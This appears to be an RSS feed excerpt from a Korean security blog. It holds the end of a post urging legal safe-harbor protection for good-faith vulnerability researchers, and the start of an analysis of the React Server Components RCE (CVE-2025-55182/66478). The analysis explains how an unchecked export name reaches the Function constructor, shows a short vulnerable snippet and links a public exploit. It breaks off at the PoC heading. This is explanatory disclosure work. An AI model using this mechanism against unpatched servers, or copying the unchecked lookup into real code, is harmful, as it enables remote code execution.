&lt;li&gt;기업에 로그까지 남기며 제보하는 화이트해커는&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수사기관이나 기업이 마음만 먹으면 &quot;가장 찾기 쉬운 사람&quot;이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 비대칭 구조에서 &quot;취약점을 발견했을 때, 가장 합리적인 선택은 침묵&quot;이 되어버리는 지금의 상태는, 보안이라는 공공재 관점에서도, 국가 차원의 사이버 안보 전략 측면에서도 불완전하고 비효율적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 법 개정 필요성: &quot;어디까지가 합법적인 보안 연구인가&quot;의 명확화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;i&gt;&quot;어디까지를 합법적인 보안 연구 &amp;middot; 취약점 탐지로 볼 것인가?&quot;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&quot;악의적인 공격자도 나중에는 '선의를 목적으로 한 연구였다'고 주장하면 어떻게 하나?&quot;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&quot;화이트해커 보호를 앞세운 불법 침입의 정당화하려는 사례 증가 우려&quot;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 법 개정의 방향은 &quot;침해 행위의 자유 이용권&quot;이 아닌 &quot;책임있는 공유를 기반으로 한 조건부 안전장치&quot;가 되어야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 조건을 만족하는 행위를 '정당한 보안 연구'로 규정하고, 형사처벌에서 원칙적으로 제외하는 방식을 제안하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;3868&quot; data-start=&quot;3823&quot;&gt;시스템 소유자나 서비스 제공자를 속이거나, 금전적 이득을 요구하지 않을 것&lt;/li&gt;
&lt;li data-end=&quot;3909&quot; data-start=&quot;3869&quot;&gt;데이터 유출&amp;middot;파괴&amp;middot;변조를 최소화하고, 필요한 범위에서만 접근할 것&lt;/li&gt;
&lt;li data-end=&quot;3964&quot; data-start=&quot;3910&quot;&gt;취득한 개인정보&amp;middot;기밀정보 등을 복제&amp;middot;유출하지 않고, 연구&amp;middot;제보 목적 외로 사용하지 않을 것&lt;/li&gt;
&lt;li data-end=&quot;4029&quot; data-start=&quot;3965&quot;&gt;합리적인 기간 내에 해당 취약점을 시스템 소유자 또는 국가 지정 기관(CERT/CVD 허브 등)에 신고할 것&lt;/li&gt;
&lt;li data-end=&quot;4082&quot; data-start=&quot;4030&quot;&gt;시스템 운영에 실질적인 장애를 유발하는 공격(DoS, 서비스 중단 등)을 하지 않을 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;침해시도&quot;, &quot;자동화 스캐닝&quot; 등도 개념은 법률과 판례에만 의존하고 있습니다. 하지만 실제 현장에서는 어디까지가 합법인지 명확하지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;4313&quot; data-start=&quot;4299&quot;&gt;단순 포트 스캐닝,&lt;/li&gt;
&lt;li data-end=&quot;4344&quot; data-start=&quot;4314&quot;&gt;공개된 API 엔드포인트의 파라미터 브루트포싱,&lt;/li&gt;
&lt;li data-end=&quot;4389&quot; data-start=&quot;4345&quot;&gt;일반적인 취약점 스캐너의 사용 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVD/VDP 정책에 명시된 경우 범위를 벗어나지 않도록 주의하는 것이 가장 중요하지만, 그레이 영역에 대한 기준도 가이드라인 수준으로 수립이 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;4730&quot; data-start=&quot;4684&quot;&gt;명시된 정책이 없는 공공&amp;middot;민간 웹서비스에 대한 최소 수준의 취약점 확인 행위&lt;/li&gt;
&lt;li data-end=&quot;4778&quot; data-start=&quot;4733&quot;&gt;오픈소스 소프트웨어&amp;middot;라이브러리 취약점 분석 후 사용자에게 통보하는 경우 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구분이 명확해질수록 화이트해커 입장에서는 &lt;b&gt;&amp;ldquo;어디까지 하면 안전한가&amp;rdquo;&lt;/b&gt;를 판단할 수 있게 되고, 불필요한 위축 효과를 줄일 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 기업도 &quot;책임 있는 조치&quot;의무 이행&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화이트해커 보호만 이야기하면, 기업 입장에서는 &amp;ldquo;우리만 일방적으로 당하는 것 아니냐&amp;rdquo;는 반발이 나올 수 있습니다. 균형을 맞추기 위해서는 기업에도 다음과 같은 책임을 부여할 필요가 있습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;5075&quot; data-start=&quot;5045&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;5075&quot; data-start=&quot;5045&quot;&gt;&lt;b&gt;취약점 신고 창구와 VDP 공개 의무화&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;5239&quot; data-start=&quot;5076&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;5239&quot; data-start=&quot;5076&quot;&gt;일정 규모 이상의 정보통신서비스 제공자(또는 주요 정보통신기반시설 운영기관)는
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;5239&quot; data-start=&quot;5126&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;5206&quot; data-start=&quot;5126&quot;&gt;보안 취약점 신고 창구, 이메일, 양식 등을 포함한 VDP를 공개하고,&lt;/li&gt;
&lt;li data-end=&quot;5239&quot; data-start=&quot;5209&quot;&gt;신고 채널을 상시 운영하도록 의무화할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;2. 신고&amp;nbsp; &lt;b&gt;접수&amp;middot;조치&amp;middot;공개 절차의 최소 기준 제시&lt;/b&gt; &lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;5403&quot; data-start=&quot;5275&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;5298&quot; data-start=&quot;5275&quot;&gt;&amp;ldquo;접수 후 ○일 이내 1차 회신&amp;rdquo;,&lt;/li&gt;
&lt;li data-end=&quot;5336&quot; data-start=&quot;5299&quot;&gt;&amp;ldquo;취약점의 심각도에 따라 ○일 이내 패치 또는 일정 제시&amp;rdquo;,&lt;/li&gt;
&lt;li data-end=&quot;5403&quot; data-start=&quot;5337&quot;&gt;&amp;ldquo;취약점 제보자의 익명성 보장(원하면) 및 보복 금지&amp;rdquo; 등의 최소 기준을 행정지침 또는 법률로 규정할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면, 법은 단순히 화이트해커에게만 &amp;ldquo;안전지대&amp;rdquo;를 주는 것이 아니라, &lt;b&gt;기업에게도 &amp;ldquo;책임 있는 대응&amp;rdquo;을 요구하는 상호 책임 구조&lt;/b&gt;를 만들수 있게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 책임 있는 공유의 인프라&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 행위 전&amp;middot;후의 &amp;lsquo;흔적&amp;rsquo;을 기준으로 선의 여부를 판단&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;6075&quot; data-start=&quot;5971&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;6022&quot; data-start=&quot;5971&quot;&gt;제보 시점, 제보 내용의 구체성, 데이터 유출 여부, 금전 요구 여부, 로그 분석 등&lt;/li&gt;
&lt;li data-end=&quot;6075&quot; data-start=&quot;6023&quot;&gt;객관적인 요소를 통해 선의/악의를 구별할 수 있는 기준을 수사&amp;middot;사법기관에 제시해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. &lt;/b&gt;&lt;b&gt;CVD 허브&amp;middot;국가 CSIRT를 통한 &amp;lsquo;제3자 조정&amp;rsquo; 강화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;6284&quot; data-start=&quot;6118&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;6163&quot; data-start=&quot;6118&quot;&gt;신고자가 직접 기업에 연락했을 때 생길 수 있는 법적 갈등을 줄이기 위해,&lt;/li&gt;
&lt;li data-end=&quot;6284&quot; data-start=&quot;6164&quot;&gt;국가 수준의 CVD 허브(KISA, 국가 CSIRT 등)를 통해 &amp;ldquo;제보 &amp;ndash; 검증 &amp;ndash; 조정 &amp;ndash; 공개&amp;rdquo;가 이루어지도록 하는 구조가 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. &lt;/b&gt;&lt;b&gt;고의&amp;middot;중대한 과실에 대해서는 여전히 강력한 처벌 유지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;6500&quot; data-start=&quot;6325&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;6374&quot; data-start=&quot;6325&quot;&gt;데이터 대량 유출, 랜섬웨어, 금전 탈취, 정치&amp;middot;사회 혼란을 목적으로 한 공격 등&lt;/li&gt;
&lt;li data-end=&quot;6421&quot; data-start=&quot;6375&quot;&gt;명백한 범죄 행위에 대해서는 지금보다 더 강력한 대응도 논의할 수 있습니다.&lt;/li&gt;
&lt;li data-end=&quot;6500&quot; data-start=&quot;6422&quot;&gt;단지, 그 &amp;ldquo;강력한 법&amp;rdquo; 뒤에 숨어서 선의의 연구자까지 싸잡아 위축시키지 않도록 &lt;b&gt;선의/악의 구분 장치를 함께 도입하자&lt;/b&gt;는 것입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 마치며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 정부는 최근 국가 차원의 사이버보안 전략을 발표하면서, 화이트해커 양성과 모의해킹 프로그램 확대를 여러 차례 언급해 왔습니다.&lt;/p&gt;
&lt;p data-end=&quot;6683&quot; data-start=&quot;6673&quot; data-ke-size=&quot;size16&quot;&gt;하지만 현실에서&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;6828&quot; data-start=&quot;6684&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;6736&quot; data-start=&quot;6684&quot;&gt;취약점을 발견한 보안 연구자가 &amp;ldquo;제보하면 내가 잡혀가는 것 아닐까?&amp;rdquo;를 걱정해야 하고,&lt;/li&gt;
&lt;li data-end=&quot;6828&quot; data-start=&quot;6737&quot;&gt;기업이 &amp;ldquo;제보자에게 감사&amp;rdquo;가 아니라 &amp;ldquo;법률팀부터 호출&amp;rdquo;하는 문화가 계속된다면,&lt;br /&gt;화이트해커 양성도, 모의해킹 훈련도 결국 보여주기 식에 그칠 수밖에 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;6876&quot; data-start=&quot;6830&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;책임 있는 공유와 안전한 웹을 만들기 위해 필요한 것은, 기술만이 아닙니다.&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;7020&quot; data-start=&quot;6878&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;6923&quot; data-start=&quot;6878&quot;&gt;침해시도&amp;middot;보안 연구&amp;middot;취약점 제보의 경계를 법률적으로 명확히 하고,&lt;/li&gt;
&lt;li data-end=&quot;6975&quot; data-start=&quot;6924&quot;&gt;선의의 화이트해커를 보호하는 Safe Harbor를 정통망법 등에 명시하며,&lt;/li&gt;
&lt;li data-end=&quot;7020&quot; data-start=&quot;6976&quot;&gt;기업에도 VDP&amp;middot;CVD 체계 도입과 책임 있는 조치를 요구하는 것.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-end=&quot;7045&quot; data-start=&quot;7022&quot; data-ke-size=&quot;size16&quot;&gt;이 세 가지가 함께 움직일 때, 비로소&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;7150&quot; data-start=&quot;7046&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;7092&quot; data-start=&quot;7046&quot;&gt;&amp;ldquo;취약점을 발견한 사람이 가장 먼저 떠올리는 선택지가 &amp;lsquo;침묵&amp;rsquo;이 아닌 사회&amp;rdquo;&lt;/li&gt;
&lt;li data-end=&quot;7150&quot; data-start=&quot;7093&quot;&gt;&amp;ldquo;화이트해커가 법을 두려워하지 않고, 법이 화이트해커를 동료로 인정하는 사회&amp;rdquo;에 가까워질 것입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size16&quot;&gt;현재의 법과 제도는 이미 오래전에 설계되었습니다.&lt;br /&gt;이제는 현실의 공격자와 방어자의 모습을 반영해, &lt;b&gt;화이트해커를 위한 법률 개정&lt;/b&gt;을 진지하게 논의해야 할 때입니다.&lt;/p&gt;
&lt;p data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;References&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size16&quot;&gt;- 송영진, 신상현, 장응혁, 김기범, &quot;선의의 취약점 탐지 행위에 관한 형사법적 검토&quot;, 형사정책연구논문지 제35권 제2호 (2024)&lt;/p&gt;
&lt;p data-end=&quot;7247&quot; data-start=&quot;7152&quot; data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;이태승. &quot;보안취약점 협력대응제도(CVD) 도입을 위한 법제화 방안 연구: 정보통신망법 중심으로&quot; 정보보호학회논문지 34, no.4 (2024) : 781-799.doi: &lt;a href=&quot;https://doi.org/10.13089/JKIISC.2024.34.4.781&quot;&gt;https://doi.org/10.13089/JKIISC.2024.34.4.781&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Safe Harbor FAQ, HackerOne, &lt;a href=&quot;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1765381263297&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Safe Harbor FAQ | HackerOne Help Center&quot; data-og-description=&quot;Organizations: Commonly answered questions about safe harbor&quot; data-og-host=&quot;docs.hackerone.com&quot; data-og-source-url=&quot;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&quot; data-og-url=&quot;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.hackerone.com/en/articles/8494502-safe-harbor-faq&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Safe Harbor FAQ | HackerOne Help Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Organizations: Commonly answered questions about safe harbor&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.hackerone.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review</category>
      <category>정통망법</category>
      <category>취약점연구</category>
      <category>화이트해커</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/307</guid>
      <comments>https://gomguk.tistory.com/307#entry307comment</comments>
      <pubDate>Sun, 14 Dec 2025 09:44:39 +0900</pubDate>
    </item>
    <item>
      <title>React RCE 취약점 CVE-2025-55182 및 CVE-2025-66478 분석</title>
      <link>https://gomguk.tistory.com/306</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 취약점 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 19 버전대에 심각한 원격 코드 실행(RCE) 취약점 두 가지가 발견되어 CVE-2025-55182 (React)와 CVE-2025-66478 (Next.js)로 공표되었습니다. 두 취약점 모두 React의 서버 컴포넌트(RSC) 기능에서 사용하는 &amp;ldquo;Flight&amp;rdquo; 프로토콜의 역직렬화 처리 로직의 결함이 원인이다. 공격자는 특수하게 &lt;b&gt;조작된 HTTP 요청&lt;/b&gt;만으로 인증 없이도 서버 측에서 임의의 자바스크립트 코드를 실행할 수 있습니다. 특히 Next.js 프레임워크(앱 라우터 사용 시)는 React의 해당 취약점을 그대로 내포하고 있어 CVE-2025-66478로 식별되었으며, 기본 설정의 Next.js 애플리케이션도 별도 코드 수정 없이 공격에 노출될 수 있다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CVE-2025-55182는 React Server Components 구현체(react-server 패키지 및 react-server-dom-* 라이브러리)에서 발생하는 RCE 취약점이고, CVE-2025-66478은 이를 사용한 Next.js가 동일한 취약점으로 인해 영향을 받는 경우입니다. 근본적인 문제는 역직렬화(deserialization) 과정의 논리적 결함으로, 서버가 RSC Flight 페이로드를 해석할 때 입력 데이터 구조를 올바르게 검증하지 않고 신뢰하는 바람에 공격자 제공 값이 서버 측 로직 흐름을 제어하게 되는 것입니다. 그 결과 권한이 없는 원격 공격자가 단 한 번의 요청으로도 취약한 서버에서 임의의 코드를 실행할 수 있어 CVSS 10.0 만점의 치명적 위험도로 평가되었습니다. 해당 취약점은 2025년 11월 말 보고되었고 12월 초 패치와 함께 공개되었으며, 그 심각성과 exploitatation 용이성으로 인해 일각에서는 &amp;ldquo;React2Shell&amp;rdquo;이라는 별칭으로도 불리고 있습니다. &lt;i&gt;(Log4Shell에 빗댄 명칭).&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 코드 레벨 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 RCE 취약점의 Root Cause는 React 서버 런타임이 클라이언트로부터 전달받은 RSC 요청을 역직렬화하는 과정에서 모듈 export 프로퍼티에 대한 검증을 누락한 데 있습니다. 구체적으로, React의 &lt;code&gt;ReactFlightDOMServerNode.js&lt;/code&gt; 내 &lt;code&gt;requireModule&lt;/code&gt; 함수가 클라이언트가 요청한 모듈의 export 이름을 신뢰하여 그대로 접근하는 로직이 문제가 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&quot;&gt;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1764862574706&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;CVE-2025-55182/exploit.js at master &amp;middot; dwisiswant0/CVE-2025-55182&quot; data-og-description=&quot;Pre-auth RCE in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. - dwisiswant0/CVE-2025-55182&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&quot; data-og-url=&quot;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/mUohK/hyZO58ARDQ/y1qkMc8377wc0QPDyKsEL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bp9SZD/hyZOCxJox3/da7af2vflzMZGoYwKR3ET0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/dwisiswant0/CVE-2025-55182/blob/master/exploit.js&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/mUohK/hyZO58ARDQ/y1qkMc8377wc0QPDyKsEL1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bp9SZD/hyZOCxJox3/da7af2vflzMZGoYwKR3ET0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CVE-2025-55182/exploit.js at master &amp;middot; dwisiswant0/CVE-2025-55182&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Pre-auth RCE in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. - dwisiswant0/CVE-2025-55182&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스플로잇 코드는 github에 공개되어 있습니다. 아래는 간단한 예시입니다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// (취약한 동작 예시) 클라이언트가 보낸 metadata.name으로 모듈 export에 접근
function requireModule(moduleExports, name) {
  return moduleExports[name];  // name에 대한 검증 없이 프로퍼티에 접근
}

// 예를 들어, moduleExports가 함수일 때:
module.exports = function updateProfile() { /* ... */ };
requireModule(module.exports, &quot;constructor&quot;); 
// -&amp;gt; module.exports.constructor를 반환 (검증 누락)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드처럼 내부 구현에 hasOwnProperty 같은 검증이 없어 클라이언트가 요청한 name이 해당 모듈에 개발자가 의도적으로 내보낸(export) 프로퍼티가 아니더라도 프로토타입 체인에 존재하는 모든 속성을 가져올 수 있게 됩니다. 특히 모듈이 함수(Function) 형태로 export된 경우 심각한 문제가 발생합니다. 자바스크립트에서 함수는 객체이므로 &lt;code&gt;constructor&lt;/code&gt;라는 속성을 가지는데, 보통 함수 객체의 constructor는 전역 Function 생성자를 가리킵니다. 따라서 공격자가 &lt;code&gt;name&lt;/code&gt; 값으로 &quot;constructor&quot;를 지정하면, 해당 모듈이 export한 함수의 constructor 속성에 접근하여 전역 Function 생성자에 대한 참조를 얻을 수 있습니다. 그야말로 아무 함수나 문자열로 선언해서 사용할 수 있는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 서버는 클라이언트가 보낸 액션 ID를 기준으로 어떤 서버 측 함수를 호출할지 결정하는데, 공격자는 해당 ID를 조작하여 자신이 만든 Function 객체(즉 전역 Function 생성자에 악성 코드를 바인딩한 함수)를 가리키도록 할 수 있습니다. 이렇게 되면 React는 이것을 정상적인 서버 액션 호출로 오인하여 그대로 실행해 버리는데, 사실상 그 &amp;ldquo;액션&amp;rdquo;은 공격자가 공급한 악성 함수인 셈입니다. 결과적으로 서버는 공격자가 의도한 임의의 코드를 실행하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React RSC의 역직렬화 로직에서 신뢰할 수 없는 name 속성에 대한 필터링이 없어, 모듈 export의 프로토타입 체인 상 속성(constructor)까지 노출된 것입니다. 이로 인해 전역 Function 생성자를 호출할 수 있는 참조를 얻게 되었고, RSC의 바운드 함수 호출 구조와 결합되어 최종적으로 원격 코드 실행으로 이어졌습니다. 이러한 결함은 상속된 속성 접근에 대한 검증 부재가 근본 원인입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패치는 React 19.0.1, 19.1.2, 19.2.1 등에 적용되었으며, &lt;code&gt;requireModule&lt;/code&gt;에서 상속된 속성에 접근하지 못하도록 &lt;code&gt;hasOwnProperty&lt;/code&gt; 체크를 추가하는 등의 조치가 이루어졌습니다. 또한 파일 업로드 시 Base64로 인코딩된 데이터를 다루는 부분도 강화하여 악용 가능성을 차단했습니다. 패치 이후에는 클라이언트가 존재하지 않는 export 이름이나 프로토타입 체인 속성을 요구할 경우 역직렬화 단계에서 에러가 발생하여 더 이상 RCE로 이어지지 않습니다 (패치된 버전에서는 공격 시도 시 bind를 호출하려다 undefined에 접근하는 오류로 실행이 중단됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;공격 시나리오 및 PoC&lt;/h2&gt;
